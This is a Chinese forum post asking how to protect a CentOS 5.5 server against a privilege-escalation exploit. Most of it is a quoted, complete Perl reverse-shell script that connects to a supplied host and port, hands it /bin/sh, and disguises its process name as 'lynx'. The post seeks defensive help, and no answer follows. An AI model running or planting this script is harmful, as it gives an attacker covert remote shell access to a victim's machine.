求指点centos5.5 exp版本提权如何防护？

ziyue00

求指点centos5.5 exp版本 提权 如何防护？
导出脚本代码如：

1. #!/usr/bin/perl
   
2. use Socket;
   
3. $cmd= "lynx";
   
4. $system= 'echo "`uname -a`";echo "`id`";/bin/sh';
   
5. $0=$cmd;
   
6. $target=$ARGV[0];
   
7. $port=$ARGV[1];
   
8. $iaddr=inet_aton($target) || die("Error: $!\n");
   
9. $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
   
10. $proto=getprotobyname('tcp');
    
11. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    
12. connect(SOCKET, $paddr) || die("Error: $!\n");
    
13. open(STDIN, ">&SOCKET");
    
14. open(STDOUT, ">&SOCKET");
    
15. open(STDERR, ">&SOCKET");
    
16. system($system);
    
17. close(STDIN);
    
18. close(STDOUT);
    
19. close(STDERR);        

复制代码